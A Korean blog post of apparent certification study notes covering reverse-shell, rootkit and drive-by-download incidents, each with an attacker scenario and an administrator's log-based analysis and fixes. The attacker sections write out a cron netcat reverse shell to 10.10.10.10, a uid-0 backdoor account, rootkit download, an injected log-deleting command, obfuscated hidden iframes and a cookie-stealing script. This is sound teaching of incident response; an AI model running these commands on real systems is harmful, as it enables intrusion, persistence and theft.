리버스 쉘(Reverse Shell) 침해 사고
① 개념
- 원격에서 서버에 명령을 실행할 수 있는 쉘을 획득하는 방법
- 바인드 쉘(Bind Shell) : 클라이언트/공격자가 타겟 서버에 접속하여 타켓 서버의 쉘을 획득하는 방식
- 리버스 쉘(Reverse Shell) : 역으로 타겟 서버가 클라이언트/공격자로 접속해서 클라이언트가 타겟 서버의 쉘을 획득하는방식
- 방화벽을 우회해 쉘을 획득 가능
- 방화벽 인바운드 정책은 엄격하게 공개 서비스에 대해서만 제한적으로 허용해주지만 아웃바운드 정책은 느슨하게 허용해주기 때문에 내부->외부로 접속하는 리버스 쉘 획득이 용이
- netcat(nc) : 다양한 네트워크 프로그램을 시뮬레이션 하기 위한 목적으로 만들어진 프로그램이며 리버스쉘 테스트에 많이 사용
- nc [목적지 IP] -e [지정 프로그램] : 목적지 ip로 접속 후, [지정 프로그램]으로 실행 이미지 교채
- nc -lvp 80 : 80/tcp 포트로 연결 요청을 대기하도록 nc 프로그램을 리스너로 동작
- -l : 연결 요청을 수락할 수 있는 리스닝모드로 설정
- -v : verbose 모드로 동작(진행상황 표시)
- -p : 로컬 리스닝 포트 설정
- 상세 동작 원리 (nc [목적지 IP] -e /bin/bash)
- (nc리스너 - listen) nc 리스너는 리스닝 포트를 오픈하고 연결 요청이 들어올 때까지 대기한다.
- (nc커넥터 - connect) nc 커넥터는 nc 리스너로 연결 요청(connect)을 수행하여 연결을 완료한다.
- (nc커넥터 - exec) 연결을 완료한 nc 커넥터는 자신의 프로세스 실행 이미지를 bash 프로세스 실행 이미지로 전이한 후(exec) bash 프로세스로 동작한다. (동일 프로세스의 실행 이미지만 새로운 프로세스로 교체)
- (bash - duplicate) 실행이미지만 교체되고 이전 nc 커넥터가 오픈한 파일리스트는 그대로 복제된다. 따라서 bash 프로세스의 표준입력, 표준에러, 표준 출력은 이전 nc 커넥터가 nc리스너와 소켓으로 연결된 부분이 그대로 유지되어 nc 리스너와 통신이 이루어진다.
② 공격시나리오(공격자(해커) 입장)
- (루트계정 탈취) 공격자는 Telnet 무작위 대입/사전 공격 수행
- (루트권한 일반사용자계정 생성) 공격자는 탈취한 루트계정을 이용해 Telnet 원격 로그인 후 루트권한의 일반 사용자 계정을 생성한다.
> useradd -p -u 0 -g 0 -d /root holly
# holly라는 일반사용자계정을 uid(0) gid(0)으로 설정하며 중복 생성을 허용하기 위해 -o 옵션 사용. - (스케줄링 등록) 내부 침입자는 외부에서 방화벽을 우회하여 타겟 웹서버로 지속적으로 접근하도록 하기 위해 nc 프로그램을 이용한 리버스 쉘 명령을 cron 테이블(/etc/crontab)에 등록한다.
#cat /etc/crontab
...
#매일 오전2시 30분에 root 계정으로 nc 10.10.10.10 80 목적지로 nc 명령어(리버스쉘 연결) 수행
30 2 * * * root /usr/bin/nc 10.10.10.10 80 -e /bin/bash - (공격명령 수행) 외부 공격자는 타겟웹서버의 쉘을 주기적으로 획득해 추가적인 공격명령 수행
③ 분석시나리오(피해자(관리자) 입장)
- (로그확인) 관리자는 웹서버 로그 분석 중 "/var/log/secure","/var/log/messages"로그파일에 허용하지 않는 루트 계정의 Telnet 원격 로그인이 성공한 것을 발견
#cat /var/log/secre
#짧은 시간 내 많은 로그인 실패
..FAILED LOGIN..
..FAILED LOGIN..
..FAILED LOGIN..
# 내부IP 192.168.56.40으로 pts/2 원격 터미널을 통해 루트계정으로 로그인 성공
NOV 19 00:38:24 Fedorall login : pam_unix(remote:session) : session opened for user root by (uid=0)
NOV 19 00:38:24 Fedorall login : ROOT LOGIN ON pts/2 FROM 192.168.56.40#cat /var/log/messages
#짧은 시간 내 많은 telnet 연결
..EXIT..
..START..
..EXIT..
..START
..EXIT
# 위와 동일한 시각에 telnet 연결 START
NOV 19 00:38:24 Fedorall xinetd[3786] : START: telnet pid=6723 from=::ffff:192.168.56.40 - (.bash_history 확인) 관리자는 루트 계정의 명령어 실행 내역을 확인하기 위해 루트계정의 명령어 실행 내역을 기록하고 있는 ".bash_history" 로그 파일을 분석한 결과 다음과 같은 내용 확인
..
useradd -p -u 0 -g 0 -d /root holly #루트권한 탈취
..
vi /etc/crontab # 반복작업 등록
.. - (공격자 계정 확인) /etc/passwd 파일 확인 결과 uid,gid가 0인 계정 확인. 더 있는지 추가적인 확인
- (스케줄링 확인)관리자는 공격자가 실행한 "vi /etc/crontab" 명령을 통해 /etc/crontab에 주기적 작업 등록한 것의심 및 해당 내용 확인
- (리버스쉘 연결여부 확인) 관리자는 공격자가 리버스 쉘을 연결하고 있는지 확인하기 위해 netstat 명령을 실행한 결과 현재 공격자가 Bash쉘이 연결된 것을 확인(crontab에 기입된 ip주소를 기반으로 확인)
#netstat -antp | grep 10.10.10.10
tcp 0 0 192.168.56.100:48095 10.10.10.10:80 ESTABLISHED 3039/bash
#ps -ef | grep 3039 | grep -v grep
root 3039 2904 0 20:00 pts/2 00:00:00 /bin/bash- #netstat -antp | grep 10.10.10.10
- -a: 모든 네트워크 연결(리스닝 중인 것 포함)을 표시
- -n: 호스트 이름 대신 IP 주소를 숫자로 출력하여 더 빠르게 결과를 표시
- -t: TCP 연결만 표시
- -p: 해당 연결을 사용하는 프로세스의 PID와 프로그램 이름을 표시합니다 (root 권한 필요)
- #ps -ef | grep 3039 | grep -v grep
- ps -ef: 모든 프로세스의 전체 목록을 자세히 출력
- grep 3039: 출력된 목록에서 3039라는 문자열이 포함된 줄만 필터링. (보통 PID 또는 특정 프로세스의 포트 번호를 찾기 위해 사용됨)
- grep -v grep: 이전 grep 명령 자체를 결과에서 제외하여 진짜 프로세스 정보만 남김.
- #netstat -antp | grep 10.10.10.10
루트킷(Rootkit) 침해 사고
① 개념
- 익스플로잇(Exploit) : 소프트웨어나 하드웨어의 버그 또는 취약점을 이용해 공격자가 의도한 동작이나 명령을 실행하도록 하는 코드(익스플로잇 코드) 또는 그러한 행위
- 쉘코드(ShellCode) : 익스플로잇 이후 실행되며, 일반적으로 어셈블리어/기계어로 작성된 작은 크기의 코드
- 좁은 의미 : 쉘(바인드 쉘 또는 리버스 형태의 쉘)을 실행시키는 코드
- 넒은 의미 : 쉘 실행 + 공격자가 원하는 작업을 수행하는 다양한 형태의 코드
- 오버플로우 익스플로잇 동작 방식
- 대상 프로그램의 버퍼 오버플로우 취약점을 유발시키는 익스플로잇 코드 수행
- 익스플로잇 코드를 통해 스택의 버퍼에 다수의 NOP 명령과 쉘 코드 삽입
- NOP(No OPeration) : 아무 기능도 수행하지 않는 명령어를 의미. 대표적으로 많이 보이는 형태는 인텍 x86시스템에서 사용하는 NOP 명령어
- 기계어 코드의 헥사값이 '0x90'. 프로그램에서 NOP명령은 빈공간을 채우기 위한 명령어로 해당 명령어를 만나면 아무런 동작 없이 다음 명령어로 넘어감
- 쉘 코드 실행을 위해 NOP 명령을 삽입하는 이유 : Return Address가 쉘 코드 주소를 정확히 가리켜야 하는데 프로그램 실행 시마다 쉘 코드주소가 조금씩 바뀔 수 있기 때문에 정확한 주소를 알기 어렵다. 따라서 실행 확률을 높이기 위해 다수의 NOP명령을 쉘 코드 앞에 삽입하여 해당 영역을 가리키기만 하면 NOP를 타고 최종적으로는 쉘코드가 실행되기 위함이다.
- NOP(No OPeration) : 아무 기능도 수행하지 않는 명령어를 의미. 대표적으로 많이 보이는 형태는 인텍 x86시스템에서 사용하는 NOP 명령어
- 버퍼오버플로우를 통해 Return Address를 공격자가 삽입한 쉘코드가 위치한 주소로 변조한다.
- 취약점 정보 분류 체계
- CVE(Common Vulnerabilities and Exposure) : MITRE에서 1999년에 만든 공개적으로 알려진 소프트웨어의 보안취약점을 표준화한 식별자 목록
- 서로 유사한 취약점 정보가 관련 기관 및 보안업계 간 상이하게 분류되는 혼선을 방지하기 위해 공통의 유일한 명칭으로 취약점을 식별하기 위해 만들어짐.
- 식별자 네임 체계 : CVE-2024-0160(접두사-해당년도-취약점번호)
- CWE(Common Weakness Enumeration) : MITRE사가 중심이 되어 소프트웨어에서 공통적으로 발생하는 약점(Weakness)을 체계적으로 분류한 목록을 제공하기 위해 만들어짐
- 보안 약점(Weakness) : 공격에 잠재적으로 활용될 수 있는 소프트웨어의 결함,오류 등
- 보안 취약점(Vulnerability) : 해킹 등 실제 보안 사고에 이용되는 소프트웨어의 보안 약점이나 시스템 상의 보안 허점
- 모든 보안약점이 취약점이 되진 않지만 사전에 제거함으로서 취약점의 상당수 제거 가능
- 소프트웨어 약점은 SDLC과정에서 발생할 수 있기 때문에 설계, 아케텍처, 코드 단계등에 대한 취약점 목록을 정의해놓음
- SDLC(Software Develop Life Cycle) : 소프트웨어 개발 생명 주기 (정의->개발->유지보수)
- CWE/SANS TOP 25 : 미국 MITRE 및 SANS 연구소에서 발표하는 소프트웨어 개발자가 갖아 범하기 쉽고 위험한 25가지 소프트웨어 취약점 목록을 유형별로 분류해 놓은 것. OWASP와 매우 유사하지만 유형별로 좀 더 구체적분류가 되어있음
- CVE(Common Vulnerabilities and Exposure) : MITRE에서 1999년에 만든 공개적으로 알려진 소프트웨어의 보안취약점을 표준화한 식별자 목록
Top 25 Software Errors | SANS Institute
Contributors to the 2021 CWE Top 25: In alphabetical order: Adam Chaudry, Steve Christey Coley, Kerry Crouse, Kevin Davis, Devon Ellis, Parker Garrison, Christina Johns, Luke Malinowski, Rushi Purohit, Becky Powell, David Rothenberg, Alec Summers, and Bria
www.sans.org
② 공격시나리오
- (nessus로 취약점 스캔) 공격자는 알기사 사이트의 웹서버 취약점 스캔을 통해 Tomcat 웹서버의 관리자 페이지(/Manager/html)가 외부에 노출되어 있으며 아이디와 패스워드를 초기 설치상태(Id:tomcat,password:tomcat)으로 사용하고 있는 것을 발견
Output:
- Service : Apache Tomcat Manager
- URL : http://example.com:8080/manager/html
- Default Credentials : Found (username: tomcat, password: tomcat)resource (exploit.rc) > exploit
[*] Started reverse TCP handler on 10.10.10.10:443
[*] Trying to upload...
[*] Upload successful, executing...
[*] Command shell session 1 opened (10.10.10.10:443 -> 10.10.10.3:46701) at 2024-11-19 15:00:00 - (루트킷 설치) 공격자는 연결한 리버스쉘을 이용해 추가 공격 행위를 은닉하기 위한 루트킷을 설치한다.
sh-4.0# cd /var/tmp
sh-4.0# pwd
/var/tmpsh-4.0# wget http://10.10.10.10/hacker rootkit.tar.gz
...
... 'rootkit.tar.gz saved' - (파일명 변경) 공격자는 관리자가 쉽게 눈치채지 못하게 루트킷 파일명을 아파치 서버 패치 파일인것처럼 위장한다.
- mv [원본파일명] [변경파일명]
- ex) mv rootkig.tar.gz apache2.2.15-patch.tar.gz
- (루트킷 실행) 공격자는 tar명령어를 이용해 압축(.gz) 및 아카이브(.tar)된 파일을 푼 후 install 명령을 통해 루트킷을 실행한다.
- tar 옵션
- zxvf : gzip으로 압축된 파일(f)을 해제(z)하면 아카이브 파일이 생성되고 아카이브 파일을 현재 디렉터리에 해제(x)한다. 또한 진행상황을 화면에 보여준다.(v)
- 아카이브 파일 : 여러 파일을 하나의 파일로 묶은 것. 주로 대량의 파일을 백업/배포하기위해 사용
- tar 옵션
- (스케줄링) 알기사 웹서버로 지속적으로 접근하기 위해 리버스 쉘 명령을 cron테이블(/etc/crontab)에 등록한다.
sh-4.0# echo "0 3 * * * root /usr/bin/nc 10.10.10.10:443 -e /bin/bash" >> /etc/crontab - (공격) 공격자는 타겟 웹서버의 쉘을 주기적으로 획득해 추가적인 공격명령을 실행한다.
③ 분석시나리오
- (로그확인) 관리자는 Tomcat 웹서버 엑세스 로그 분석 중 외부로부터 취약점 스캔이 발생하였으며 인증 정보를 알고 있는 관리자 외에는 외부에서 접근이 불가능한 관리자 페이지(/Manager/html)가 정상 응답 (200OK) 된 사실을 웹서버 액세스 로그를 통해 확인한다.
10.10.10.10 - - [19/Nov/2024:15:10:05 +0000] "GET /manager/html HTTP/1.1" 401 381 #실패. 요청자원에 대한 인가 필요
10.10.10.10 - - [19/Nov/2024:15:10:06 +0000] "GET /manager/html HTTP/1.1" 200 2153 # 성공
10.10.10.10 - - [19/Nov/2024:15:10:12 +0000] "POST /manager/html HTTP/1.1" 403 452 #요청자원에 대한 접근차단
10.10.10.10 - - [19/Nov/2024:15:10:15 +0000] "GET /host-manager/html HTTP/1.1" 404 1034 #요청 자원 존재 x
10.10.10.10 - - [19/Nov/2024:15:10:18 +0000] "GET /examples/servlets/ HTTP/1.1" 404 983
10.10.10.10 - - [19/Nov/2024:15:10:20 +0000] "GET /admin/html HTTP/1.1" 404 976
10.10.10.10 - - [19/Nov/2024:15:10:22 +0000] "GET /docs/ HTTP/1.1" 404 985 - (루트킷 점검) 관리자는 공격자가 관리 페이지의 업로드 기능을 이용해 악성코드를 웹서버로 유포했을 가능성이 있다고 판단해 루트킷 탐지도구로 점검한 결과 다음과 같은 사실을 확인하였다.
#chrootkit -q
Checking 'netstat' ... INFECTED
....
you have 11 process hidden for ps command
... - (수정된 실행파일 확인) 관리자는 /bin 디렉터리에 있는 일부 실행파일들의 변조가 의심되어 최근 10일 이내에 수정된 실행파일이 있는지 find 명령으로 확인한 결과 chrootkit 프로그램 실행결과로 의심되었던 /bin/netstat,/bin/ps 실행파일이 최근에 수정되었음을 확인한다.
#find /bin/ -type f -mtime -10 | xargs ls -l
-rwxr-xr-x 1 root root 186544 Nov 9 10:25 /bin/netstat
-rwxr-xr-x 1 root root 234568 Nov 8 08:12 /bin/ps - (무결성 체크) rpm 명령을 통해 해당 실행파일의 무결성을 체크한 결과 최초 설치 시점과 비교해서 파일 크기(S), MD5체크섬(5), 파일 수정 시간(T)가 변경된 것을 확인
#rpm -qf /bin/netstat /bin/ps
net-tools...
procps..
#rpm -V net-tools procps
S.5....T.
S.5....T.- #rpm -qf [명령어 절대경로] : 해당 명령어가 어디 패키지에 포함되어있는지 확인
- #rpm -V [패키지] : 해당 패키지에 대한 무결성 검사
- (패키지 재설치) 관리자는 변조된 명령어르 재설치하기 위해 rpm 명령어를 이용해 패키지 재설치중 문제점을 발견하여 해당 속성을 수정 후 다시 패키지를 설치한다.
#lsattr /bin/netstat /bin/ps
----i--------e- /bin/netstat
----i--------e- /bin/ps
#chattr -i /bin/netstat /bin/ps
...
#rpm -Uvh --force ..../net-tools...
#rpm -Uvh --force ..../procps... - (리버스쉘 연결 확인) 재설치 후 리버스쉘이 연결된 것을 확인한다.
# ps -ef | grep "nc -v" | grep -v grep
root 2942 2925 0 18:56 pts/3 00:00:00 nc -v 10.10.10.10 443
# netstat -antp | grep 10.10.10.10
tcp 0 0 192.168.56.100:50787 10.10.10.10:443 - (스케줄링 확인) 관리자는 추가 공격 흔적을 확인하기 위해 로그 분석을 한 결과 cron 로그(/var/log/cron)에 다음과 같은 사실을 확인한다.
# cat /var/log/cron/cron-20241119
NOV 18 03:00:01 Fedorall CROND[15950]: (root) CMD (/usr/bin/nc 10.10.10.10 443 -e /bin/bash)
.. - lsof(list open file) 프로그램을 이용한 정보 수집
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
bash 1234 root 0u IPv4 654321 0t0 TCP 192.168.56.100:36709->10.10.10.10:443 (ESTABLISHED)
bash 1234 root 1u IPv4 654321 0t0 TCP 192.168.56.100:36709->10.10.10.10:443 (ESTABLISHED)
bash 1234 root 2u IPv4 654321 0t0 TCP 192.168.56.100:36709->10.10.10.10:443 (ESTABLISHED)- lsof : 시스템에서 동작하는 모든 프로세스에 의해 오픈된 파일 정보를 보여주는 프로그램. 루트킷 등에 의해 공격자가 구동한 프로세스 정보를 제대로 볼 수 없을 때 lsof 프로그램을 이용해 확인한다.
- (default) : 모든 열린 파일 정보 출력
- -p : PID 기준으로 프로세스가 오픈한 파일정보 확인 가능
- -u : USER 기준으로 프로세스가 오픈한 파일정보 확인 가능
- -i : 인터넷 주소 기반 소켓파일을 오픈하고 있는 프로세스 정보 확인 (ex.-i@IP:Port , -i@IP, -i@Port)
- lsof : 시스템에서 동작하는 모든 프로세스에 의해 오픈된 파일 정보를 보여주는 프로그램. 루트킷 등에 의해 공격자가 구동한 프로세스 정보를 제대로 볼 수 없을 때 lsof 프로그램을 이용해 확인한다.
DBD(Drive By Download) 침해 사고
① 개념
- DBD(Drive By Download)
- 사전적 의미: 다운로드로 유도하는 공격
- 정의 : 홈페이지를 해킹한 후 사용자 PC의 취약점을 익스플로잇하는 악성 스크립트와 악성코드를 은닉시키고 취약한 PC환경의 사용자가 홈페이지에 접속할 경우, 자신의 의도와는 무관하게 악성코드가 다운로드 되어 설치되는 공격기법.
- 사용자 PC 취약점 : 운영체제, 인터넷 브라우저, 문서 편집기, 문서 뷰어, 플래쉬 플레이어 등의 응용프로그램 취약점 등
- 일반적으로 난독화된 악성 스크립트와 다수의 경유지/중계지를 거쳐 최종 유포지로 접속하여 악성코드를 다운로드하도록 유도함.
- 난독화를 통해 보안장비를 통한 분석과 탐지를 어렵게 함.
- 다수의 경유지를 통해 유포지에 대한 추적을 어렵게 함
- 홈페이지를 통한 악성코드 유포 목적
- 파밍형 악성코드를 통해 금융정보, 개인정보를 탈취하려는 목적
- 특정 타겟을 대상으로 악성코드를 유포하는 워터링 홀 방식의 APT 공격이 주된 목적으로 나타남.
- 관련 용어
- 방문페이지(Landing Page) : 웹사이트를 방문했을 때 현재 브라우저가 보여주는 페이지
- 경유페이지(Passage Page) 또는 경유지 : 악성스크립트가 삽입되어있는 방문페이지
- 중계페이지(Hopping Page) 또는 중계지 : 경유페이지에서 유포페이지로 연결해주는 징검다리 역할을 하는 페이지(경유페이지와 혼용해서 사용)
- 유포페이지(Distribution Page) 또는 유포지 : 실제 익스플로잇 및 악성코드가 저장되어있고 이를 유포하는 페이지
- 홈페이지 유포 악성코드 탐지기술
- 정적분석(Static Analysis) 기술 : (알려진패턴분석) 알려진 악성코드 페이지 또는 악성 스크립트 문자열을 포함하는 악성 링크가 있는지 탐지 -> 미탐 증가 오탐 감소
- 동적분석(Dynamic Analysis) 기술 :(행위분석) 가상의 이용자 PC환경을 구성하고(ex.sandbox) 다양한 취약점에 노출시킨 후 점검대상 페이지에 점속하여 비정상적인 레지스트리 변경, 악성코드 다운로드, C&C 서버 접속 등의 악성행위를 분석하는 기법 -> 미탐 감소 오탐 증가, 분석속도 느림
- 난독화(Obfuscation) : 프로그램 코드 읽기 어렵게 만드는 기술
- 종류
- 소스코드 난독화 : C/C++/JAVA 등의 프로그램 소스코드를 알아보기 힘들게 만드는 기술
- 바이너리 난독화 : 컴파일 후 생성된 바이너리를 역공학(Reverse Enginerring)을 통해 분석하기 어렵게 변조하는 기술
- 난독화 이유
- 코드의 가독성을 낮춰 분석을 어렵게함
- 패턴/시그니처 기반 보안장비 탐지를 우회
- 난독화 기술 예시
- 분할 난독화(Split obfuscation) : 다수의 문자열변수로 잘게 쪼갠 후 다시 재조합해 출력
<script>
// iframe 태그 및 속성을 난독화하여 문자열로 분할
// iframe 태그의 width,height를 모두 0으로 지정해 브라우저상에 보이지 않도록 숨기고 src속성을 통해 조합된 페이지로 리다이렉트 시킴
var part1 = "<ifr";
var part2 = "ame sr";
var part3 = "c='";
var part4 = "https://";
var part5 = "example";
var part6 = ".com";
var part7 = "/target";
var part8 = "' sty";
var part9 = "le='display:none;'></ifr";
var part10 = "ame>";
// iframe 태그 결합 및 삽입
var iframeCode = part1 + part2 + part3 + part4 + part5 + part6 + part7 + part8 + part9 + part10;
// HTML 코드에 iframe 삽입
document.write(iframeCode);
</script> - 10진수 난독화 : 각각의 문자를 아스키코드 10진수 형식으로 인코딩하여 난독화하는 방식
<script> // 10진수로 난독화된 iframe 태그 및 URL 구성
var iframeCode = String.fromCharCode( 60, 105, 102, 114, 97, 109, 101, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 101, 120, 97, 109, 112, 108, 101, 46, 99, 111, 109, 47, 116, 97, 114, 103, 101, 116, 34, 32, 115, 116, 121, 108, 101, 61, 34, 100, 105, 115, 112, 108, 97, 121, 58, 110, 111, 110, 101, 59, 34, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62 );
// eval을 사용하여 iframe 실행
// eval 함수 : 인자로 받은 문자열이 자바스크립트 코드가 맞는지 검증한 후 이를 실행하는 함수로 악성 스크립트에 자주 등장.
iframeCode= eval("iframeCode");
document.write(iframeCode)
</script> - 16진수 난독화 : 문자열 바이트 단위로 %헥사값형식으로 표현하는 퍼센트 인코딩 방식으로 난독화
<script>
// 16진수로 난독화된 iframe 태그 및 URL 구성
var iframeCodeHex = "%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%65%78%61%6D%70%6C%65%2E%63%6F%6D%2F%74%61%72%67%65%74%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%22%3E%3C%2F%69%66%72%61%6D%65%3E";
// unescape 함수를 사용하여 iframe 태그를 복원 및 삽입
// unescape() : 퍼센트 인코딩된 문자열을 디코딩해주는 함수
var iframeCode = unescape(iframeCodeHex);
document.write(iframeCode);
</script> - 기타 난독화 : XOR 인코딩, BASE64 인코딩 등 다양한 방식의 난독화 기술 존재.
- 분할 난독화(Split obfuscation) : 다수의 문자열변수로 잘게 쪼갠 후 다시 재조합해 출력
- 종류
② 공격시나리오
- (취약점 확인 및 악성코드 업로드) 공격자는 경유지와 중계지로 사용할 웹서버를 확보하기 위해 여러 사이트를 대상으로 취약점 스캔을 하던 중 방문자가 많은 aaa사이트(www.aaa.com)와 bbb(www.bbb.com)사이트에 파일업로드 취약점이 존재한다는 사실을 확인하고 이를 이용해 웹쉘(webshell.php) 및 악성 자바스크립트 업로드(co2m.js,co3m.js)에 성공한다.
- (경유 페이지 변조) 공격자는 웹쉘을 통해 aaa사이트 웹서버의 기본페이지(index2.php)를 변조해 업로드한 악성 스크립트 삽입 구문을 추가한다.
# 경유지 인 aaa 메인페이지 index2.php에 추가
...
<.. language="javascript" src="/home/js/co2m.js"..
<.. language="javsscript" src="/home/js/co4m.js"..
... - (중계 페이지 변조) 공격자는 웹쉘을 통해 bbb사이트의 기본 페이지(main2.php)에 유포지 페이지로 이동시키는 iframe 태그를 삽입한다.
# 중계지인 bbb 메인페이지 main2.php에 추가
...
<iframe src="유포지 주소".. width=0 height=0 ...
... - (웹서버 엑세스 로그 삭제) 공격자는 경유지인 aaa사이트에 운영체제 명령 실행 취약점이 존재한다는 사실을 확인하고, 자신의 접근 흔적을 지우기 위해 웹서버의 엑세스 로그(access_log) 삭제를 시도한다.
입력값 : 127.0.0.1; rm -rf /var/log/httpd/access_log
#PHP 환경에서 입력값을 받아 운영체제 명령어를 실행할 수 있는 함수 : shell_exec(입력값), passthru(입력값), exec(입력값), system(입력값) - (유포지를 활용한 리버스쉘 획득) 공격자는 유포지에 접속한 사용자의 IE 브라우저 취약점을 이용해 익스플로잇을 수행, 리버스 쉘을 획득한다.
resource (exploit.rc) > exploit
[*] Started reverse TCP handler on 10.10.10.10:443
[*] Trying to upload...
[*] Upload successful, executing...
[*] Command shell session 1 opened (10.10.10.10:4321 -> 10.10.10.3:39595) at 2024-11-19 15:00:00
meterpreter > sysinfo
Computer : ...-WINXP-KO
OS : Windows XP (Build 2600, Service Pack 3) //오래된 운영 체제이기 때문에 알려진 취약점이 많아 보안 위협에 노출될 가능성이 높습니다. - 희생자 쿠키 정보 탈취 및 공격자 웹서버에 저장
③ 분석시나리오
- (통보 및 엑세스로그 확인) 유포지(aaa) 보안 담당자는 KISA로부타 해당 사이타가 악성코드 경유지/중계지로 사용되고 있다는 연락을 받고 즉시 웹서버를 점검한 결과 액세스 로그를 통해 다음과 같은 사실을 확인했다.
(파일 업로드 확인)
192.168.56.1 - - [18/NOV/2024:22:23:06 +0900] "POST /home/downlaod/insert.php?table=download HTTP/1.1" 200 1243 "http://www.aaa.com/home/download/write_form.php?table=download" "...
#11월 19일 22시 23분 06초 경 refere을 통해 자료실 게시판 "http://www.aaa.com/home/download/write_form.php?table=download" 에서 insert.php 호출을 통해 파일 업로드가 발생(200 OK)한 사실을 확인(웹쉘 업로드 확인)
192.168.56.1 - - [18/NOV/2024:22:30:49 +0900] "POST /home/downlaod/2024_11_19_22_23_06.php?table=download HTTP/1.1" 200 1243 "http://www.aaa.com/home/downlaod/2024_11_19_22_23_06.php?table=download" "...
#파일 업로드 후 11월19일 22시30분49초 경 업로드 디렉터리(/home/download/data)에 게시판 첨부파일로 허용하지 않는 웹쉘로 의심되는 PHP파일이 호출되었고 정상응답 (200 OK) 확인
#보안담당자는 웹쉘 의심 PHP 파일(2024_11_19_22_23_06.php)을 호출해본 결과 웹쉘 파일로 확인
#보안담당자는 자료실 게시판에 파일 업로드 취약점이 존재한다는 사실 확인 -> 임시 폐쇄 후 개발자에게 보안조치 권고
#(개발보안조치 1) 업로드 파일명 확장자에대한 적절한 필터링(화이트리스트정책)을 통해 악성 스크립트 파일 업로드 차단
#(개발보안조치 2) 업로드 파일을 저장하기 위한 전용디렉터리를 별도 생성 후 웹서버 설정을 통해 실행 설정 제거 (DocumentRoot 하위에 저장디렉터리 설정), 악성 스크립트 파일이 업로드 되어도실행 안되게 한다.(자바스크립트 호출 확인)
192.168.56.1 - - [18/NOV/2024:22:46:30 +0900] "GET /home/js/co2m.js HTTP/1.1" 200 624 ...
192.168.56.1 - - [18/NOV/2024:22:46:30 +0900] "GET /home/js/co4m.js HTTP/1.1" 200 624 ...
#파일 업로드 후 11월19일 22시46분30초 경 평소 보이지 않던 신규 자바스크립트 파일(co2m.js,co4m.js)이 호출되었고 200 OK 된 것 확인(엑세스 로그 삭제시도 확인)
192.168.56.1 - - [18/NOV/2024:22:46:30 +0900] "GET /home/vul/vul.php?ip127.0.0.1%3Brm+-rf+%2Fvar%2Flog%2Fhttpd%2Faccess_log&submit=submit HTTP/1.1" 200 1234...
#웹쉘 및 악성 스크립트 파일 업로드를 수행하는 것으로 의심되는 IP(192.168.6.1)로부터 운영체제 명령어 취약점이 있는 페이지 vul.php에서 "127.0.0.1;rm -rf /var/log/httpd/access_log" 명령어 전달 확인#httpd.conf 설정 파일
User apache
Group apache
#ls -al /var/log/httpd
drwx------. 2 root root 4096 2024-11-19 22:17 httpd
#공격자는 로그 지우는 것을 시도했으나, 실제 명령은 권한 문제로 성공하지 못함.
#보안 담당자는 vul페이지에 운영체제 명령실행 취약점이 존재한다는 사실을 확인 후 임시 폐쇄 후 개발자에게 보안 조치 권고
(보안조치 1) 사용자 입력값에 운영체제 명령어를 실행할 수 있는 문자(세미콜론 등)가 포함되어 있는지 적절히 필터링하여 차단
(보안조치 2) 웹 애플리케이션 운영상 운영체제 명령어를 사용해야한다면 허용가능한 명령어리스트를 선정한다. - 보안담당자는 악성 스크립트로 의심되는 신규 자바스크립트 파일(co2m.js)를 분석한 결과 다른 사이트로 몰래 이동하기 위한 iframe 태그가 포함되어있는 것 확인 (난독화. Unescape(xyz))
- 보안담당자는 악성 스크립트로 의심되는 신규 자바스크립트 파일(co4m.js)를 분석한 결과 사용자 쿠키 정보를 탈취해 공격자 웹서버로 전달하는 코드가 포함되어있는 것을 확인
var imag = new Image();
img.src = "http://유포지 주소/info.php?q=" + encodeURIComponent(document.cookie); - 보안담당자는 악성 자바스크립트 파일을 사용하고 있는 페이지를 조사한 결과 기본페이지(index2.php)가 변조되어 스크립트가 삽입된 것을 확인
- stat index2.php 결과 MAC 타임 중 Modify가 22시 36분 26초경에 마지막으로 수정된 것 확인
- 보안담당자는 aaa 사이트가 Drive by Download 공격을 위한 악성코드 경유지/중계지로 사용된 것으로 최종 판단
'정보보안 > 침해사고 분석 및 대응' 카테고리의 다른 글
[시스템 점검 도구] 상황별 점검도구 (0) | 2024.11.19 |
---|---|
[보안장비 운영] 보안 솔루션/장비 종류 및 특징 (1) | 2024.11.19 |
[보안장비 운영] 침입차단시스템 (0) | 2024.11.18 |
[보안장비 운영] 침입탐지시스템 (1) | 2024.11.18 |